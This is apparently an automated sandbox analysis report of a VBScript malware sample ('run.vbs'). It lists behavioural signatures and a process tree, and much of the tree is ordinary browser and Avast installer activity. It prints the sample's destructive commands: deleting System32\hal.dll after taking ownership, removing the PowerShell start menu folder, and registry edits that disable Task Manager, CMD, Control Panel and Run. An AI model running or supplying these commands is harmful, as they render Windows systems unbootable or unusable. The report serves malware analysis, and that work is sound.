Analysis
- max time kernel
535s - max time network
529s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
- submitted
26/07/2024, 14:32
General
- Target run.vbs
- Size 4KB
- Sample240726-rwallsxcjc
- SHA256 76c8137537f7e4b2079cc1d707f3016c03b7ed535a3bff08958f505ba65280ee
Score
10/10
Malware Config
Signatures
- Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
- Renames multiple (156) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 7 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Disables Task Manager via registry modification
- Downloads MZ/PE file
- Drops file in Drivers directory 61 IoCs
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
- Possible privilege escalation attempt 3 IoCs
- Sets service image path in registry 2 TTPs 15 IoCs
- Checks computer location settings 2 TTPs 29 IoCs
Looks up country code configured in the registry, likely geofence.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 64 IoCs
- Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs
- Loads dropped DLL 64 IoCs
- Modifies file permissions 1 TTPs 3 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Windows security modification 2 TTPs 2 IoCs
- Adds Run key to start application 2 TTPs 4 IoCs
- Checks for any installed AV software in registry 1 TTPs 64 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Writes to the Master Boot Record (MBR) 1 TTPs 30 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Checks system information in the registry 2 TTPs 6 IoCs
System information is often read in order to detect sandboxing environments.
- Drops file in System32 directory 4 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 2 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Embeds OpenSSL 5 IoCs
Embeds OpenSSL, may be used to circumvent TLS interception.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 20 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Checks SCSI registry key(s) 3 TTPs 27 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 14 IoCs
- Modifies Internet Explorer settings 1 TTPs 12 IoCs
- Modifies data under HKEY_USERS 28 IoCs
- Modifies registry class 64 IoCs
- Modifies registry key 1 TTPs 9 IoCs
- Modifies system certificate store 2 TTPs 3 IoCs
- NTFS ADS 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 64 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 38 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\run.vbs"1⤵
- Checks computer location settings
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c takeown /f C:\Windows\System32\hal.dll && icacls C:\Windows\System32\hal.dll /grant Everyone:(F) && del/f/s/q C:\Windows\System32\hal.dll2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\hal.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\hal.dll /grant Everyone:(F)3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell /grant Everyone:(F) && taskkill /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\*.exe /im && del/f/s/q C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\takeown.exetakeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add HKLM\SOFTWARE\Policies\Microsoft\Windows\System /v DisableLogonBackgroundImage /t REG_DWORD /d 1 /f2⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent /v AccentColor /t REG_DWORD /d 0x2d1954 /f2⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f2⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallpaper /t REG_DWORD /d 1 /f2⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f2⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f2⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f2⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add HKCU\Control Panel\Mouse /v SwapMouseButtons /t REG_SZ /d 1 /f2⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete HKCR\lnkfile\IsShortcut2⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2000 -parentBuildID 20240401114208 -prefsHandle 1916 -prefMapHandle 1908 -prefsLen 25753 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b936f551-0380-442c-a4a9-a4dc9c6bc115} 1576 "\\.\pipe\gecko-crash-server-pipe.1576" gpu3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2400 -parentBuildID 20240401114208 -prefsHandle 2392 -prefMapHandle 2388 -prefsLen 25789 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b5f44a9f-f3d9-4690-9052-698243dcfaf2} 1576 "\\.\pipe\gecko-crash-server-pipe.1576" socket3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3108 -childID 1 -isForBrowser -prefsHandle 2800 -prefMapHandle 2956 -prefsLen 25930 -prefMapSize 244658 -jsInitHandle 1320 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {63f62710-171c-4fad-b0f5-a975bfca2a8e} 1576 "\\.\pipe\gecko-crash-server-pipe.1576" tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3892 -childID 2 -isForBrowser -prefsHandle 3884 -prefMapHandle 3880 -prefsLen 31163 -prefMapSize 244658 -jsInitHandle 1320 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3624bee1-97e3-4b6d-a090-759642eb2283} 1576 "\\.\pipe\gecko-crash-server-pipe.1576" tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4784 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4776 -prefMapHandle 4720 -prefsLen 31163 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e36f0de5-737f-4c10-90d6-3147319a597f} 1576 "\\.\pipe\gecko-crash-server-pipe.1576" utility3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5392 -childID 3 -isForBrowser -prefsHandle 5432 -prefMapHandle 5436 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1320 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {79df3d44-bd6e-437b-ad4c-04286e78bc23} 1576 "\\.\pipe\gecko-crash-server-pipe.1576" tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5336 -childID 4 -isForBrowser -prefsHandle 5572 -prefMapHandle 5576 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1320 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4c009788-1394-4da6-9591-ff257106f23f} 1576 "\\.\pipe\gecko-crash-server-pipe.1576" tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5744 -childID 5 -isForBrowser -prefsHandle 5752 -prefMapHandle 5756 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1320 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {116fc91f-ebb6-4d61-93d2-e829bacb2063} 1576 "\\.\pipe\gecko-crash-server-pipe.1576" tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6136 -childID 6 -isForBrowser -prefsHandle 6160 -prefMapHandle 6088 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1320 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4dbd1765-9644-4642-a70f-e6c246a4ae4e} 1576 "\\.\pipe\gecko-crash-server-pipe.1576" tab3⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffc1b8846f8,0x7ffc1b884708,0x7ffc1b8847182⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1996 /prefetch:22⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2420 /prefetch:32⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2924 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3420 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4248 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2312 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3704 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5592 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5432 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5424 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5396 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5936 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5936 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5528 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5940 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4036 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3672 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5480 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5968 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6088 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3456 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1288 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6568 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6588 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6432 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=4852 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6192 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6952 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1992,16566823758570300857,14854698573613892721,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6380 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\Downloads\avast_free_antivirus_setup_online.exe"C:\Users\Admin\Downloads\avast_free_antivirus_setup_online.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
-
C:\Windows\Temp\asw.5cb3282089ffd8a1\avast_free_antivirus_setup_online_x64.exe"C:\Windows\Temp\asw.5cb3282089ffd8a1\avast_free_antivirus_setup_online_x64.exe" /cookie:mmm_ava_003_999_b8g_m:dlid_FAV-ONLINE-HP /ga_clientid:1b71c005-4336-4b3e-a378-e702321c7c34 /edat_dir:C:\Windows\Temp\asw.5cb3282089ffd8a13⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Temp\asw.f3744995c6c1b3ba\instup.exe"C:\Windows\Temp\asw.f3744995c6c1b3ba\instup.exe" /sfx:lite /sfxstorage:C:\Windows\Temp\asw.f3744995c6c1b3ba /edition:1 /prod:ais /stub_context:06d8bdcf-2efe-4d13-a435-af0a80124d39:9931880 /guid:095f5302-2cae-4653-a3f8-7100620f1297 /ga_clientid:1b71c005-4336-4b3e-a378-e702321c7c34 /no_delayed_installation /cookie:mmm_ava_003_999_b8g_m:dlid_FAV-ONLINE-HP /ga_clientid:1b71c005-4336-4b3e-a378-e702321c7c34 /edat_dir:C:\Windows\Temp\asw.5cb3282089ffd8a14⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\instup.exe"C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\instup.exe" /sfx /sfxstorage:C:\Windows\Temp\asw.f3744995c6c1b3ba /edition:1 /prod:ais /stub_context:06d8bdcf-2efe-4d13-a435-af0a80124d39:9931880 /guid:095f5302-2cae-4653-a3f8-7100620f1297 /ga_clientid:1b71c005-4336-4b3e-a378-e702321c7c34 /no_delayed_installation /cookie:mmm_ava_003_999_b8g_m:dlid_FAV-ONLINE-HP /edat_dir:C:\Windows\Temp\asw.5cb3282089ffd8a1 /online_installer5⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Impair Defenses: Safe Mode Boot
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\aswOfferTool.exe"C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\aswOfferTool.exe" -checkGToolbar -elevated6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\aswOfferTool.exe"C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\aswOfferTool.exe" /check_secure_browser6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
